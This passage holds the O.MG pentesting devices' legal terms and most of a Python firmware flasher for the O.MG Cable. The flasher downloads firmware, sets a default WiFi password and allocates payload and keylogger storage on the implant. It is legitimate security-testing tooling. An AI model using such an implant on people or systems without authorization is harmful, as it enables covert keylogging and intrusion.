O.MG Cable, O.MG Adapter, O.MG Plug, and O.MG UnBlocker are trademarks of Mischief Gadgets, LLC. Mischief Gadgets, LLC requires that all users read and accept the provisions of the Terms of Use Policy and the Privacy Policy prior to granting users any authorization to use pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates. The Terms of Use Policy and the Privacy Policy can be found at https://o.mg.lol, and must be affirmatively consented to by users prior to using any pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”). Reading and Accepting the Terms of Use and the Privacy Policy are REQUIRED CONSIDERATIONS for Mischief Gadgets, LLC and/or its affiliates granting users the right to use any O.MG Device. All persons are DENIED permission to use any O.MG Device, unless they read and affirmatively accept the Terms of Use Policy and the Privacy Policy located at https://o.mg.lol.

Privacy Policy

All persons under the age of 18 are denied access to the website located at https://o.mg.lol, as well as denied authorization to use any O.MG Device. If you are under the age of 18, it is unlawful for you to visit, communicate, or interact with Mischief Gadgets, LLC and/or its affiliates in any manner. Mischief Gadgets, LLC and/or its affiliates specifically denies access to any individual that is covered by the Child Online Privacy Act (COPA) of 1998.

Mischief Gadgets, LLC and/or its affiliates reserve the right to deny access to any person or viewer for any reason. Under the provisions of this Privacy Policy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and store data and information for the purpose of exclusion, and for any other uses seen fit.

Mischief Gadgets, LLC and/or its affiliates have established safeguards to help prevent unauthorized access to or misuse of your information but cannot guarantee that your information will never be disclosed in a manner inconsistent with this Privacy Policy (for example, as a result of any unauthorized act by third parties that violate applicable law or our affiliates’ policies). To protect your privacy and security, we may use passwords or other technologies to register or authenticate you and enable you to take advantage of our services, and before granting access or making corrections to your information.

Mischief Gadgets, LLC and/or its affiliates do not rent or sell your personally identifiable information (such as name, address, telephone number, and credit card information) to third parties for their marketing purposes.

This Privacy Policy may change from time to time. Users have an affirmative duty, as part of the consideration for permission to use O.MG Devices, to keep themselves informed of changes to this Privacy Policy. All changes to this Privacy Policy will be posted at https://o.mg.lol.

Terms of Use

Pentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”) are network administration and pentesting tools used for authorized auditing and security analysis purposes only where permitted, subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Mischief Gadgets, LLC and/or its affiliates claim no responsibility for unauthorized or unlawful use.

O.MG Devices are packaged with a limited warranty, the acceptance of which is a condition of sale. See https://o.mg.lol for additional warranty details and limitations. Availability and performance of certain features, services, and applications are device and network dependent and may not be available in all areas; additional terms, conditions and/or charges may apply.

You agree not to access or use any O.MG Device or the website located at https://o.mg.lol in any unlawful way or for any unlawful or illegitimate purpose or in any manner that contravenes this Agreement. You shall not use any O.MG Device to post, use, store, or transmit any information that is unlawful, libelous, defamatory, obscene, fraudulent, predatory of minors, harassing, threatening or hateful towards any individual, this includes any information that infringes or violates any of the intellectual property rights of others or the privacy rights of others. You shall not use any O.MG Device to attempt to disturb the peace by any method, including through use of viruses, Trojan horses, worms, time bombs, denial of service attacks, flooding or spamming. You shall not use any O.MG Device in any manner that could damage, disable or impair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You shall not use any O.MG Device to attempt to gain unauthorized access to any user account, computer systems, or networks through hacking, password mining or any other means. You shall not use any O.MG Device alongside any robot, data scraper, miner or virtual computer to gain unlawful access to protected computer systems.

All features, functionality and other product specifications are subject to change without notice or obligation. Mischief Gadgets, LLC and/or its affiliates reserve the right to make changes to the product description in this document without notice. Mischief Gadgets, LLC and/or its affiliates do not assume any liability that may occur due to the use or application of the product(s) described herein.

These terms and conditions shall be governed by and construed in accordance with the laws of the state of New York, United States of America, and you agree to submit to the personal jurisdiction of the courts of the state of New York. In the event that any portion of these terms and conditions is deemed by a court to be invalid, the remaining provisions shall remain in full force and effect. You agree that regardless of any statute or law to the contrary, any claim or cause of action arising out of or related to this Web site, or the use of this Website, must be filed within one year after such claim or cause of action arose and must be filed in a court in New York, New York, U.S.A.

As required by Section 512(c)(2) of Title 17 of the United States Code, if you believe that any material on the website located at https://o.mg.lol infringes your copyright, you must send a notice of claimed infringement to Mischief Gadget, LLC’s General Counsel at the following address: c/o Mischief Gadgets, LLC - General Counsel
Tor Ekeland Law, PLLC
30 Wall St., 8th Floor
New York, NY 10005
info@torekeland.com

If you do not agree to be bound by this Agreement, do not access or use any O.MG Device, or the website located at https://o.mg.lol. We reserve the right, with or without notice, to make changes to this Agreement at our discretion. Continued use of any O.MG Device or the website located at https://o.mg.lol constitutes your acceptance of these Terms, as they may appear at the time of your access.

By clicking the “I Agree” button, by availing yourself of any O.MG Device or the website located at https://o.mg.lol, or by accessing, visiting, browsing, using or attempting to interact with or use any O.MG Device or the website located at https://o.mg.lol, you agree that you have read, understand, and agree to be bound by this Agreement as well as our Privacy Policy, which is a part of this Agreement and which can be viewed here: https://o.mg.lol.




================================================ FILE: c2server/requirements.txt ================================================ pymonocypher == 3.1.* ================================================ FILE: flash.py ================================================ # Copyright 2023 Mischief Gadgets LLC import os import sys import json import glob import serial import base64 import platform import argparse import platform import mimetypes import http.client import urllib.parse from sys import exit from time import time from math import floor from signal import signal, SIGINT from serial.tools import hexlify_codec from serial.tools.list_ports import comports from pprint import pprint try: raw_input except NameError: # pylint: disable=redefined-builtin,invalid-name raw_input = input # in python3 it's "raw" unichr = chr if 'idlelib.run' in sys.modules: print("!!!! PLEASE DO NOT RUN THIS IN IDLE EDITOR !!!!") print("Unexpected outcomes or errors may occur when running in IDLE") print("Please launch this by opening your command line or terminal and typing 'python3 flash.py'") print("If you have any questions please see the wiki https://github.com/O-MG/O.MG-Firmware/wiki") sys.exit(1) VERSION = "FIRMWARE FLASHER VERSION NUMBER [ 230907 @ 153241 UTC ]" FLASHER_VERSION = 1 # presume we have an old style flasher = 1 FLASHER_VERSION_DETECT = True BRANCH = "stable" FIRMWARE_DIR="./firmware" FIRMWARE_URL = "https://raw.githubusercontent.com/O-MG/O.MG-Firmware/%BRANCH%" MEMMAP_URL = "https://raw.githubusercontent.com/O-MG/WebFlasher/main/assets/memmap.json" UPDATES = "FOR UPDATES VISIT: [ https://github.com/O-MG/O.MG-Firmware ]\n" MOTD = """\ ./ohds. -syhddddhys: .oddo/. `: oMM+ dMMMMMMMMm`/MMs :` `/hMh`:MMm .:-....-:- hMM+`hMh/ `oNMm:`sMMN:`:+osssso+:`-NMMy.:dMNo` +NMMs +NMMh`:mMMMMMMMMMMN/`yMMNo +MMN+ .dMMMy sMMMh oMNhs+////+shNMs yMMMy sMMMd. -NMMM+ NMMMd`-. `.::::.` .:`hMMMM` +MMMN- -NMMN- hMMMMMdhhmMMMMMMMMmhhdNMMMMd -NMMN. mMMM- `m:`hMMMMMMMMMmhyyhmMMMMMMMMMd.-d` -MMMm +MMMs dMMs -sMMMMm+` `+mMMMMs: oMMh sMMM+ dMMM` :MMMy oMMMy yMMMo hMMM: `MMMd MMMm sMMM: NMMN NMMN :MMMs mMMM `MMMd yMMM- `MMMd dMMM` :MMMs dMMM` NMMN +MMMo dMMM: :MMMN. +MMM+ NMMN yMMM/ `NMMN` .NMMN+ +MMMMMMh.+MN` /MMMy .MMMm` /MMMd` .hMMMNy+:--:+yNMMMdsNMMN.+/ `mMMM. +MMMh +MMMN/ :hMMMMMMMMMMMMh: yMMM/ hMMM+ sMMMh` -mMMMd/` `:oshhhhy+:` `/dMMMh `hMMMs oMMMN/ +mMMMMho:. .:ohMMMMm/ :NMMMo -mMMMd: :yNMMMMMMNNNNMMMMMMNy: :dMMMm- +NMMMmo -+shmNMMMMNmhs+- .omMMMN+ `/dNo.:/ `-+ymMMMMd/ /mM-.:/+ossyyhhdmNMMMMMMdo. -mMMMMMMMMMMMMMMMMMMNdy+- /MMMMMMmyso+//::--.` :MMMMNNNNs- `Ndo:` `.` :-\ """ def omg_tos(): message = """ Agreement O.MG Cable, O.MG Adapter, and O.MG Plug are trademarks of Mischief Gadgets, LLC. Mischief Gadgets, LLC requires that all users read and accept the provisions of the Terms of Use Policy and the Privacy Policy prior to granting users any authorization to use pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates. The Terms of Use Policy and the Privacy Policy can be found at https://o.mg.lol, and must be affirmatively consented to by users prior to using any pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”). Reading and Accepting the Terms of Use and the Privacy Policy are REQUIRED CONSIDERTIONS for Mischief Gadgets, LLC and/or its affiliates granting users the right to use any O.MG Device. All persons are DENIED permission to use any O.MG Device, unless they read and affirmatively accept the Terms of Use Policy and the Privacy Policy located at https://o.mg.lol. Privacy Policy All persons under the age of 18 are denied access to the website located at https://o.mg.lol, as well as denied authorization to use any O.MG Device. If you are under the age of 18, it is unlawful for you to visit, communicate, or interact with Mischief Gadgets, LLC and/or its affiliates in any manner. Mischief Gadgets, LLC and/or its affiliates specifically denies access to any individual that is covered by the Child Online Privacy Act (COPA) of 1998. Mischief Gadgets, LLC and/or its affiliates reserve the right to deny access to any person or viewer for any reason. Under the provisions of this Privacy Policy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and store data and information for the purpose of exclusion, and for any other uses seen fit. Mischief Gadgets, LLC and/or its affiliates have established safeguards to help prevent unauthorized access to or misuse of your information but cannot guarantee that your information will never be disclosed in a manner inconsistent with this Privacy Policy (for example, as a result of any unauthorized act by third parties that violate applicable law or our affiliates’ policies). To protect your privacy and security, we may use passwords or other technologies to register or authenticate you and enable you to take advantage of our services, and before granting access or making corrections to your information. Mischief Gadgets, LLC and/or its affiliates do not rent or sell your personally identifiable information (such as name, address, telephone number, and credit card information) to third parties for their marketing purposes. This Privacy Policy may change from time to time. Users have an affirmative duty, as part of the consideration for permission to use O.MG Devices, to keep themselves informed of changes to this Privacy Policy. All changes to this Privacy Policy will be posted at https://o.mg.lol. Terms of Use Pentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”) are network administration and pentesting tools used for authorized auditing and security analysis purposes only where permitted, subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Mischief Gadgets, LLC and/or its affiliates claim no responsibility for unauthorized or unlawful use. O.MG Devices are packaged with a limited warranty, the acceptance of which is a condition of sale. See https://o.mg.lol for additional warranty details and limitations. Availability and performance of certain features, services, and applications are device and network dependent and may not be available in all areas; additional terms, conditions and/or charges may apply. You agree not to access or use any O.MG Device or the website located at https://o.mg.lol in any unlawful way or for any unlawful or illegitimate purpose or in any manner that contravenes this Agreement. You shall not use any O.MG Device to post, use, store, or transmit any information that is unlawful, libelous, defamatory, obscene, fraudulent, predatory of minors, harassing, threatening or hateful towards any individual, this includes any information that infringes or violates any of the intellectual property rights of others or the privacy rights of others. You shall not use any O.MG Device to attempt to disturb the peace by any method, including through use of viruses, Trojan horses, worms, time bombs, denial of service attacks, flooding or spamming. You shall not use any O.MG Device in any manner that could damage, disable or impair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You shall not use any O.MG Device to attempt to gain unauthorized access to any user account, computer systems, or networks through hacking, password mining or any other means. You shall not use any O.MG Device alongside any robot, data scraper, miner or virtual computer to gain unlawful access to protected computer systems. All features, functionality and other product specifications are subject to change without notice or obligation. Mischief Gadgets, LLC and/or its affiliates reserve the right to make changes to the product description in this document without notice. Mischief Gadgets, LLC and/or its affiliates do not assume any liability that may occur due to the use or application of the product(s) described herein. These terms and conditions shall be governed by and construed in accordance with the laws of the state of New York, United States of America, and you agree to submit to the personal jurisdiction of the courts of the state of New York. In the event that any portion of these terms and conditions is deemed by a court to be invalid, the remaining provisions shall remain in full force and effect. You agree that regardless of any statute or law to the contrary, any claim or cause of action arising out of or related to this Web site, or the use of this Website, must be filed within one year after such claim or cause of action arose and must be filed in a court in New York, New York, U.S.A. As required by Section 512(c)(2) of Title 17 of the United States Code, if you believe that any material on the website located at https://o.mg.lol infringes your copyright, you must send a notice of claimed infringement to Mischief Gadget, LLC’s General Counsel at the following address: c/o Mischief Gadgets, LLC - General Counsel Tor Ekeland Law, PLLC 30 Wall St., 8th Floor New York, NY 10005 [info@torekeland.com] If you do not agree to be bound by this Agreement, do not access or use any O.MG Device, or the website located at https://o.mg.lol. We reserve the right, with or without notice, to make changes to this Agreement at our discretion. Continued use of any O.MG Device or the website located at https://o.mg.lol constitutes your acceptance of these Terms, as they may appear at the time of your access. By continuing, by availing yourself of any O.MG Device or the website located at https://o.mg.lol, or by accessing, visiting, browsing, using or attempting to interact with or use any O.MG Device or the website located at https://o.mg.lol, you agree that you have read, understand, and agree to be bound by this Agreement as well as our Privacy Policy, which is a part of this Agreement and which can be viewed here: https://o.mg.lol. """ print("\n\nTo use this flashing tool and O.MG Devices you must agree to the following\n\n") try: from scripts import pager as pager from io import StringIO f = StringIO(message) pager.page(f) except KeyError: print(message) print("\n\nTo use this flashing tool and O.MG Devices you must agree to the following\n\n") INPUT_CORRECT = False USER_AGREED = False while not INPUT_CORRECT: print("\n\nDo you agree? You must type yes or no\n\n") user_response = str(input("Select Option: ")).replace(" ","").lower().strip() if "yes" in user_response: INPUT_CORRECT = True USER_AGREED = True if "no" in user_response: INPUT_CORRECT = True USER_AGREED = False if USER_AGREED: return True else: print("<<< DID NOT AGREE TO TERMS OF SERVICE. CANNOT CONTINUE >>>") sys.exit(1) def omg_dependency_imports(): # load pyserial try: global serial import serial except: print("\n<<< PYSERIAL MODULE MISSING, MANUALLY INSTALL TO CONTINUE >>>") print("<<< YOU CAN TRY: npm install serial or pip install pyserial >>>") complete(1) try: from scripts import flashapi as flashtest except: if not os.path.exists('./scripts/'): os.mkdir("./scripts/") dependencies = ['flashapi.py', 'miniterm.py'] for dependency in dependencies: file_path = "scripts/"+dependency file_url = FIRMWARE_URL.replace("%BRANCH%",BRANCH) + "/scripts/" + dependency try: res = get_resource_file(file_url) if res['status'] == 200: with open(file_path,"wb") as f: f.write(res['data']) print("succesfully fetched missing dependency %s from %s"%(dependency,file_url)) except: print("failed to get missing dependency %s from %s"%(dependency,file_url)) try: global flashapi from scripts import flashapi as flashapi except: print("<<< flashapi.PY MISSING FROM scripts/flashapi.py >>>") print("<<< PLEASE MANUALLY DOWNLOAD FROM https://github.com/O-MG/O.MG-Firmware >>>") complete(1) def handler(signal_received, frame): # Handle any cleanup here print('SIGINT or CTRL-C detected. Exiting gracefully') exit(0) class omg_results(): def __init__(self): self.OS_DETECTED = "" self.PROG_FOUND = False self.PORT_PATH = "" self.WIFI_DEFAULTS = False self.WIFI_SSID = "O.MG" self.WIFI_PASS = "12345678" self.WIFI_MODE = "2" self.WIFI_TYPE = "STATION" self.FILE_PAGE = "page.mpfs" self.FILE_INIT = "esp_init_data_default_v08.bin" self.FILE_ELF0 = "image.elf-0x00000.bin" self.FILE_ELF1 = "image.elf-0x10000.bin" self.FILE_BLANK = "blank.bin" self.FILE_OFAT_INIT = "blank-settings.bin" self.FLASH_SLOTS = 4 self.FLASH_PAYLOAD_SIZE = 60 self.NUMBER_SLOTS = 50 def get_dev_info(dev): esp = flashapi.ESP8266ROM(dev, baudrate, None) esp.connect(None) mac = esp.read_mac() esp.flash_spi_attach(0) flash_id = esp.flash_id() size_id = flash_id >> 16 flash_size = {0x14: 0x100000, 0x15: 0x200000, 0x16: 0x400000}[size_id] return mac, flash_size def ask_for_flasherhwver(): """ Ask for the flasher version, either 1 or 2 right now... """ FLASHER_VERSION = 1 flash_version = FLASHER_VERSION if FLASHER_VERSION is None: while True: try: flash_version = int(raw_input("--- Enter version of programmer hardware [Available Versions: Programmer V1 or Programmer V2]: ".format(FLASHVER=flash_version))) except: pass if flash_version == 1 or flash_version == 2: break print("<<< USER REPORTED HARDWARE FLASHER REVISION AS VERSION", flash_version, ">>>") return flash_version def ask_for_port(): """\ Show a list of ports and ask the user for a choice. To make selection easier on systems with long device names, also allow the input of an index. """ global FLASHER_VERSION i = 0 sys.stderr.write('\n--- Available ports:\n') port = None ports = [] ports_info = {} skippedports = [] for n, (port, desc, hwid) in enumerate(sorted(comports()), 1): includedport = "CP210" if includedport in desc: i+=1 sys.stderr.write('--- {:2}: {:20} {!r}\n'.format(i, port, desc)) ports.append(port) ports_info[port]={'port': port,'desc': desc,'hwid': hwid} else: skippedports.append(port) while True: num_ports = len(ports) #if num_ports == 1: # return ports[0] #else: port = raw_input('--- Enter port index or full name: ') try: index = int(port) - 1 if not 0 <= index < len(ports): sys.stderr.write('--- Invalid index!\n') continue except ValueError: all_ports = skippedports + list(ports_info.keys()) cleaned_value = str(port).strip().strip(" ") in_valid_list = (cleaned_value in ports_info.keys()) if cleaned_value in all_ports: # we found a port if not in_valid_list: print(f"!! Warning: Manually selecting port {port}, but unable to verify it is a CP210x device") break else: if len(ports)==1: print("<<< ONLY ONE PROGRAMMER FOUND, SELECTING PROGRAMMER 1 >>>") port = ports[0] break else: print("Invalid option. You must enter an index or full path to the device") pass else: port = ports[index] break FLASHER_VERSION = 1 # update back to 1 if FLASHER_VERSION_DETECT: try: sercheck = serial.Serial(port=port,dsrdtr=True) sercheck.dtr=0 # we do 3 checks final_check = True if sercheck.dsr == sercheck.dtr and sercheck.dsr == 0: # we will set it to true for check in [True,False,True]: sercheck.dtr=int(check) curr_check = False if sercheck.dtr == int(check) and sercheck.dsr == sercheck.dtr: curr_check = True final_check = final_check & curr_check sercheck.close() if final_check: print("Found programmer version: 2") print("This programmer will not require reconnection, please utilize the visual indicators on the programmer to ensure omg device is properly connected.") FLASHER_VERSION = 2 else: print("Found programmer version: 1") #print("You will need to reconnect this when doing operations.") except KeyError: print("Defaulting to programmer version: 1") # finish return port def omg_flash(command,tries=2): global FLASHER_VERSION ver = FLASHER_VERSION if int(ver) == 2 and FLASHER_VERSION_DETECT: try: flashapi.main(command) return True except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e: print("Error", str(e)) return False else: ret = False while tries>0: try: ret = flashapi.main(command) print("<<< OPERATION SUCCESSFUL. PLEASE UNPLUG AND REPLUG DEVICE BEFORE CONTINUING >>>") input("") ret = True break except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e: tries-=1 print("Unsuccessful communication,", tries, "trie(s) remain") if not ret: print("<<< ERROR DURING OPERATION PREVENTED SUCCESSFUL FLASH. TRY TO RECONNECT DEVICE OR REBOOT >>>") complete(1) else: return ret def complete(statuscode, message="Press Enter to continue..."): input(message) sys.exit(statuscode) def make_request(url): urlparse = urllib.parse.urlparse(url) url_parts = None if ":" in str(urlparse.netloc): url_parts = str(urlparse.netloc).split(":") else: port = 443 if urlparse.scheme != "https": port = 80 url_parts = (urlparse.netloc, port) if urlparse.scheme == "https": conn = http.client.HTTPSConnection(host=url_parts[0], port=url_parts[1]) else: conn = http.client.HTTPConnection(host=url_parts[0], port=url_parts[1]) return conn def get_resource_file(url,params=None,data_type='text'): dta = "text/plain" if data_type == "json": dta = "application/json" pyver = sys.version_info uas = "httplib ({0}) python/{1}.{2}.{3}-{4}".format(sys.platform,pyver.major,pyver.minor,pyver.micro,pyver.serial) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": dta, "User-Agent": uas } status = None try: conn = make_request(url) conn.request("GET", url, params, headers) response = conn.getresponse() status = int(response.status) data = response.read() except ConnectionError: data = None status = 500 return {'data': data, 'status': status} def get_release_data(): global BRANCH release_url = "https://api.github.com/repos/O-MG/O.MG-Firmware/releases?per_page=100" release_data = get_resource_file(url=release_url,data_type='json') if release_data['status'] == 200: raw_releases = json.loads(release_data['data']) releases = {} release_list = [] for element in raw_releases: if "target_commitish" in element and element["target_commitish"] not in releases: # add if not element["draft"] : releases[element["target_commitish"]] = element releases[element["target_commitish"]]["version"] = element["tag_name"] releases[element["target_commitish"]]["author"] = element["author"]["login"] #del element["target_commitish"]["author"] release_list.append(releases[element["target_commitish"]]) if BRANCH in releases: return releases[BRANCH]["tag_name"] else: return None def omg_fetch_latest_firmware(create_dst_dir=False,dst_dir="./firmware"): curr_branch = BRANCH try: curr_branch = get_release_data() except OSError: pass mem_map = get_resource_file(MEMMAP_URL) data = None if mem_map is not None and 'status' in mem_map and mem_map['status'] == 200: # attempt to create dir if not dst_dir=="./" or create_dst_dir: if os.path.exists(dst_dir): for f in os.listdir(dst_dir): os.remove(dst_dir + "/" + f) os.rmdir(dst_dir) os.mkdir(dst_dir) json_map = json.loads(mem_map['data']) data = json_map pymap = {} dl_files = [] for flash_size,files in json_map.items(): mem_size = int(int(flash_size)/1024) file_map = [] for resource in files: file_map.append(resource['offset']) file_map.append(resource['name']) if resource['name'] not in dl_files: dl_files.append(resource['name']) pymap[mem_size]=file_map #pprint(pymap) #pprint(dl_files) print(f"\n\n<<<< WARNING: Firmware was not found in {dst_dir}! Resetting and attempting to download {curr_branch} firmware from the internet. >>>> \n\n") for dl_file in dl_files: dl_url = ("%s/firmware/%s"%(FIRMWARE_URL,dl_file)).replace("%BRANCH%",curr_branch) n = get_resource_file(dl_url) if n is not None and 'data' in n and n['status']==200: dl_file_path = "%s/%s"%(dst_dir,dl_file) with open(dl_file_path,'wb') as f: print("writing %d bytes of data to file %s from %s"%(len(n['data']),dl_file_path,dl_url)) f.write(n['data']) return data def omg_locate(): def omg_check(fw_path): PAGE_LOCATED = False INIT_LOCATED = False ELF0_LOCATED = False ELF1_LOCATED = False ELF2_LOCATED = False if os.path.isfile(results.FILE_PAGE): PAGE_LOCATED = True else: if os.path.isfile(fw_path + results.FILE_PAGE): results.FILE_PAGE = fw_path + results.FILE_PAGE PAGE_LOCATED = True if os.path.isfile(results.FILE_INIT): INIT_LOCATED = True else: if os.path.isfile(fw_path + results.FILE_INIT): results.FILE_INIT = fw_path + results.FILE_INIT INIT_LOCATED = True if os.path.isfile(results.FILE_ELF0): ELF0_LOCATED = True else: if os.path.isfile(fw_path + results.FILE_ELF0): results.FILE_ELF0 = fw_path + results.FILE_ELF0 ELF0_LOCATED = True if os.path.isfile(results.FILE_ELF1): ELF1_LOCATED = True else: if os.path.isfile(fw_path + results.FILE_ELF1): results.FILE_ELF1 = fw_path + results.FILE_ELF1 ELF1_LOCATED = True if os.path.isfile(results.FILE_BLANK): ELF2_LOCATED = True else: if os.path.isfile(fw_path + results.FILE_BLANK): results.FILE_BLANK = fw_path + results.FILE_BLANK ELF2_LOCATED = True if os.path.isfile(fw_path + results.FILE_OFAT_INIT): try: os.unlink(fw_path + results.FILE_OFAT_INIT) except: pass results.FILE_OFAT_INIT = fw_path + results.FILE_OFAT_INIT # return data return (PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED) # do lookups fw_path = FIRMWARE_DIR + "/" if not os.path.exists(fw_path): omg_fetch_latest_firmware(True,fw_path) # try one PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path) if not (PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED): omg_fetch_latest_firmware(False,fw_path) PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path) # now see if things worked if PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED: print("\n<<< ALL FIRMWARE FILES LOCATED >>>\n") else: print("<<< SOME FIRMWARE FILES ARE MISSING, PLACE THEM IN THIS FILE'S DIRECTORY >>>") if not PAGE_LOCATED: print("\n\tMISSING FILE: {PAGE}".format(PAGE=results.FILE_PAGE)) if not INIT_LOCATED: print("\tMISSING FILE: {INIT}".format(INIT=results.FILE_INIT)) if not ELF0_LOCATED: print("\tMISSING FILE: {ELF0}".format(ELF0=results.FILE_ELF0)) if not ELF1_LOCATED: print("\tMISSING FILE: {ELF1}".format(ELF1=results.FILE_ELF1)) if not ELF2_LOCATED: print("\tMISSING FILE: {ELF2}".format(ELF2=results.FILE_BLANK)) print('') complete(1) def omg_probe(): devices = "" results.PROG_FOUND = False detected_ports = ask_for_port() devices = detected_ports results.PORT_PATH = devices if len(devices) > 1: results.PROG_FOUND = True if results.PROG_FOUND: print("\n<<< O.MG-PROGRAMMER WAS FOUND ON {PORT} >>>".format(PORT=results.PORT_PATH)) else: if results.OS_DETECTED == "DARWIN": print("<<< O.MG-DEVICE-PROGRAMMER WAS NOT FOUND IN DEVICES, YOU MAY NEED TO INSTALL THE DRIVERS FOR CP210X USB BRIDGE >>>\n") print("VISIT: [ https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers ]\n") else: print("<<< O.MG-PROGRAMMER WAS NOT FOUND IN DEVICES >>>\n") complete(1) def omg_reset_settings(): FILE_INIT = results.FILE_OFAT_INIT try: with open(FILE_INIT,'wb') as f: fill = (4*1024) init_cmd = "\00"*abs(fill) f.write(bytes(init_cmd.encode("utf-8"))) except: print("Warning: Unable to reset " + FILE_INIT) def omg_patch(_ssid, _pass, _mode, slotsize=4, percent=60): FILE_INIT = results.FILE_OFAT_INIT init_cmd = "INIT;" settings = { "wifimode": _mode, "wifissid": _ssid, "wifikey": _pass } for config,value in settings.items(): init_cmd+="S:{KEY}{SEP}{VALUE};".format(SEP="=", KEY=config,VALUE=value) # once booted we know more, this is a sane default for now # if we set this to %f we can actually erase and allocate at once if slotsize>0: init_cmd += "F:keylog=0;F:payload1=0;F:payload2=0;F:payload3=0;F:payload4=0;F:payload5=0;F:payload6=0;F:payload7=0;F:bootscript=4;F:hidxfile=16;" ns = floor(((360*4)*(percent*.01))/(slotsize*4)) print(f"[If Applicable] Number of Slots: {ns} with size {slotsize*4}k each based on {percent}% for payload slots") results.NUMBER_SLOTS = ns for i in range(1,ns+1): init_cmd+="f{SEP}payload{COUNT}={SLOT};".format(SEP=":", COUNT=i, SLOT=int(slotsize)) init_cmd += "f{SEP}keylog=100%F;".format(SEP=":") init_cmd += "\0" try: with open(FILE_INIT,'wb') as f: length = len(init_cmd) fill = (4*1024)-length init_cmd += "\00"*abs(fill) f.write(bytes(init_cmd.encode("utf-8"))) except: print("\n<<< PATCH FAILURE, ABORTING >>>") complete(1) def omg_input(): WIFI_MODE = '' SANITIZED_SELECTION = False while not SANITIZED_SELECTION: try: notemsg = "Hitting enter without an option will default to AP Mode with SSID: %s Pass: %s"%(results.WIFI_SSID,results.WIFI_PASS) WIFI_MODE = input("\nSELECT WIFI MODE\n1: STATION - (Connect to existing network. 2.4GHz)\n2: ACCESS POINT - (Create SSID. IP: 192.168.4.1)\n[%s]\nWifi Configuration [Hit Enter to use Defaults]: "%notemsg) if WIFI_MODE == '' or WIFI_MODE == '1' or WIFI_MODE == '2': SANITIZED_SELECTION = True except: pass if len(WIFI_MODE) == 1: results.WIFI_DEFAULTS = False results.WIFI_MODE = WIFI_MODE if WIFI_MODE == '1': results.WIFI_TYPE = 'STATION' else: results.WIFI_TYPE = 'ACCESS POINT' else: results.WIFI_DEFAULTS = True if not results.WIFI_DEFAULTS: WIFI_SSID = '' SANITIZED_SELECTION = False while not SANITIZED_SELECTION: try: WIFI_SSID = input("\nENTER WIFI SSID (1-32 Characters): ") if len(WIFI_SSID) > 1 and len(WIFI_SSID) < 33: SANITIZED_SELECTION = True except: pass results.WIFI_SSID = WIFI_SSID WIFI_PASS = '' SANITIZED_SELECTION = False while not SANITIZED_SELECTION: try: WIFI_PASS = input("\nENTER WIFI PASS (8-64 Characters): ") if len(WIFI_PASS) > 7 and len(WIFI_PASS) < 65: SANITIZED_SELECTION = True except: pass results.WIFI_PASS = WIFI_PASS # enable to let user customize on plus an elite devices # beta feature PROMPT_FLASH_CUSTOMIZE = False FLASH_CUSTOMIZE = 0 FLASH_SIZE = 4 FLASH_PAYLOAD_PERCENT = 60 SANITIZED_SELECTION = False if PROMPT_FLASH_CUSTOMIZE: while not SANITIZED_SELECTION: try: CUST_INPUT = str(input("\nCUSTOMIZE PAYLOAD AND KEYLOG ALLOCATIONS?\n(Note: Only compatible with Plus and Elite O.MG Devices)\nBegin Customization? (Yes or No) [Default: No] ")).lower() if "yes" in CUST_INPUT or "no" in CUST_INPUT or '' in CUST_INPUT: print("Using default") SANITIZED_SELECTION = True if "yes" in CUST_INPUT: FLASH_CUSTOMIZE=1 except: pass if FLASH_CUSTOMIZE: SANITIZED_SELECTION = False while not SANITIZED_SELECTION: try: CUST_INPUT = int(input("\nPERCENTAGE OF FLASH ALLOCATED TO PAYLOAD: [Usually 40%] ").lower().replace("%","")) if CUST_INPUT>0 and CUST_INPUT<101: SANITIZED_SELECTION=True FLASH_PAYLOAD_PERCENT = CUST_INPUT elif '' in CUST_INPUT: SANITIZED_SELECTION=True print("Using default") except: pass SANITIZED_SELECTION=False while not SANITIZED_SELECTION: try: CUST_INPUT = int(str(input("\nENTER PAYLOAD SLOT SIZE [Divisible By 4 between 4K and Max 32K]: ")).lower().replace("%","").replace("k","")) if (CUST_INPUT%4)==0: FLASH_SIZE=(CUST_INPUT)/4 SANITIZED_SELECTION=True if(CUST_INPUT>(360*4)): print(f"{CUST_INPUT} is greater then the max size available.") break else: print(f"\n{CUST_INPUT} is not divisible by 4, try again. Note: Default is 4k") except: pass results.FLASH_SLOTS = FLASH_SIZE results.FLASH_PAYLOAD_SIZE = FLASH_PAYLOAD_PERCENT def omg_flashfw(mac=None,flash_size=None): if not mac and not flash_size: mac, flash_size = get_dev_info(results.PORT_PATH) # attempt to continue try: FILE_PAGE = results.FILE_PAGE FILE_INIT = results.FILE_INIT FILE_ELF0 = results.FILE_ELF0 FILE_ELF1 = results.FILE_ELF1 FILE_OFAT_INIT = results.FILE_OFAT_INIT if flash_size < 0x200000: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '1MB', '-fm', 'dout', '0xfc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, 